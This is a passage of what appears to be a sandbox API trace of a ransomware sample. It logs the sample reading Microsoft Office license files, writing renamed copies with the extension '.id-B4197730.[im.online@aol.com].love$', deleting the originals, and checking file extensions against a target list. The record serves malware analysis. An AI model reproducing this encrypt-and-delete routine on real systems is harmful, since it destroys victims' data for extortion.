(lpString="MondoVL_MAK-ul-oob.xrm-ms") returned 25 [0272.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.981] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11576) returned 1 [0272.981] CloseHandle (hObject=0x4b0) returned 1 [0272.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220 [0272.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0272.982] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.982] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.984] GetLastError () returned 0x0 [0272.984] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d38, lpOverlapped=0x0) returned 1 [0272.989] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0272.991] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.991] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0272.991] SetEndOfFile (hFile=0x388) returned 1 [0272.991] CloseHandle (hObject=0x388) returned 1 [0272.991] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.991] SetEndOfFile (hFile=0x4b0) returned 1 [0273.010] CloseHandle (hObject=0x4b0) returned 1 [0273.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1 [0273.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.012] lstrlenW (lpString=".doc") returned 4 [0273.012] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString=".docx") returned 5 [0273.013] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.013] lstrlenW (lpString=".pdf") returned 4 [0273.013] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString=".xls") returned 4 [0273.013] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString=".xlsx") returned 5 [0273.013] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.013] lstrlenW (lpString=".ppt") returned 4 [0273.013] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.013] lstrlenW (lpString=".zip") returned 4 [0273.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString=".rar") returned 4 [0273.013] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString=".bz2") returned 4 [0273.013] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString=".7z") returned 3 [0273.013] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.013] lstrlenW (lpString=".dbf") returned 4 [0273.013] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.013] lstrlenW (lpString=".1cd") returned 4 [0273.013] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.013] lstrlenW (lpString=".jpg") returned 4 [0273.013] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.014] lstrlenW (lpString=".doc") returned 4 [0273.014] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString=".docx") returned 5 [0273.014] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.014] lstrlenW (lpString=".pdf") returned 4 [0273.014] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString=".xls") returned 4 [0273.014] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString=".xlsx") returned 5 [0273.014] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.014] lstrlenW (lpString=".ppt") returned 4 [0273.014] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.014] lstrlenW (lpString=".zip") returned 4 [0273.014] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString=".rar") returned 4 [0273.014] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString=".bz2") returned 4 [0273.014] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString=".7z") returned 3 [0273.014] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.014] lstrlenW (lpString=".dbf") returned 4 [0273.014] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.014] lstrlenW (lpString=".1cd") returned 4 [0273.015] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0273.015] lstrlenW (lpString=".jpg") returned 4 [0273.015] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.015] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.015] lstrlenW (lpString="MondoVL_MAK-ul-phn.xrm-ms") returned 25 [0273.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.016] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19921) returned 1 [0273.016] CloseHandle (hObject=0x4b0) returned 1 [0273.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220 [0273.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.017] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.017] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.019] GetLastError () returned 0x0 [0273.019] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0273.021] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0273.023] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.023] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0273.023] SetEndOfFile (hFile=0x388) returned 1 [0273.023] CloseHandle (hObject=0x388) returned 1 [0273.024] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.024] SetEndOfFile (hFile=0x4b0) returned 1 [0273.027] CloseHandle (hObject=0x4b0) returned 1 [0273.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1 [0273.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.029] lstrlenW (lpString=".doc") returned 4 [0273.029] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.029] lstrlenW (lpString=".docx") returned 5 [0273.029] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.029] lstrlenW (lpString=".pdf") returned 4 [0273.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString=".xls") returned 4 [0273.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString=".xlsx") returned 5 [0273.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.030] lstrlenW (lpString=".ppt") returned 4 [0273.030] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.030] lstrlenW (lpString=".zip") returned 4 [0273.030] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString=".rar") returned 4 [0273.030] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString=".bz2") returned 4 [0273.030] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString=".7z") returned 3 [0273.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.030] lstrlenW (lpString=".dbf") returned 4 [0273.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.030] lstrlenW (lpString=".1cd") returned 4 [0273.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.030] lstrlenW (lpString=".jpg") returned 4 [0273.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.030] lstrlenW (lpString=".doc") returned 4 [0273.031] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString=".docx") returned 5 [0273.031] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.031] lstrlenW (lpString=".pdf") returned 4 [0273.031] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString=".xls") returned 4 [0273.031] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString=".xlsx") returned 5 [0273.031] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.031] lstrlenW (lpString=".ppt") returned 4 [0273.031] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.031] lstrlenW (lpString=".zip") returned 4 [0273.031] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString=".rar") returned 4 [0273.031] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString=".bz2") returned 4 [0273.031] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString=".7z") returned 3 [0273.031] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.031] lstrlenW (lpString=".dbf") returned 4 [0273.031] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.031] lstrlenW (lpString=".1cd") returned 4 [0273.031] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0273.031] lstrlenW (lpString=".jpg") returned 4 [0273.031] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.032] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.032] lstrlenW (lpString="O365BusinessR_Grace-ppd.xrm-ms") returned 30 [0273.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.033] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=22400) returned 1 [0273.033] CloseHandle (hObject=0x4b0) returned 1 [0273.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220 [0273.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0273.034] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.034] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0273.036] GetLastError () returned 0x0 [0273.036] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x5780, lpOverlapped=0x0) returned 1 [0273.038] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5790, lpOverlapped=0x0) returned 1 [0273.040] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.040] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x110, lpOverlapped=0x0) returned 1 [0273.041] SetEndOfFile (hFile=0x388) returned 1 [0273.041] CloseHandle (hObject=0x388) returned 1 [0273.041] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.041] SetEndOfFile (hFile=0x4b0) returned 1 [0273.045] CloseHandle (hObject=0x4b0) returned 1 [0273.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1 [0273.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.827] lstrlenW (lpString=".doc") returned 4 [0273.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.827] lstrlenW (lpString=".docx") returned 5 [0273.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.827] lstrlenW (lpString=".pdf") returned 4 [0273.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.827] lstrlenW (lpString=".xls") returned 4 [0273.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.827] lstrlenW (lpString=".xlsx") returned 5 [0273.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.827] lstrlenW (lpString=".ppt") returned 4 [0273.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.828] lstrlenW (lpString=".zip") returned 4 [0273.828] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString=".rar") returned 4 [0273.828] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString=".bz2") returned 4 [0273.828] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString=".7z") returned 3 [0273.828] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.828] lstrlenW (lpString=".dbf") returned 4 [0273.828] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.828] lstrlenW (lpString=".1cd") returned 4 [0273.828] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.828] lstrlenW (lpString=".jpg") returned 4 [0273.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.828] lstrlenW (lpString=".doc") returned 4 [0273.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString=".docx") returned 5 [0273.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.828] lstrlenW (lpString=".pdf") returned 4 [0273.828] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.828] lstrlenW (lpString=".xls") returned 4 [0273.829] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString=".xlsx") returned 5 [0273.829] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.829] lstrlenW (lpString=".ppt") returned 4 [0273.829] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.829] lstrlenW (lpString=".zip") returned 4 [0273.829] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString=".rar") returned 4 [0273.829] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString=".bz2") returned 4 [0273.829] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString=".7z") returned 3 [0273.829] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.829] lstrlenW (lpString=".dbf") returned 4 [0273.829] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0273.829] lstrlenW (lpString=".1cd") returned 4 [0273.829] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.829] lstrlenW (lpString="C:\\Program Files\\Microsoft 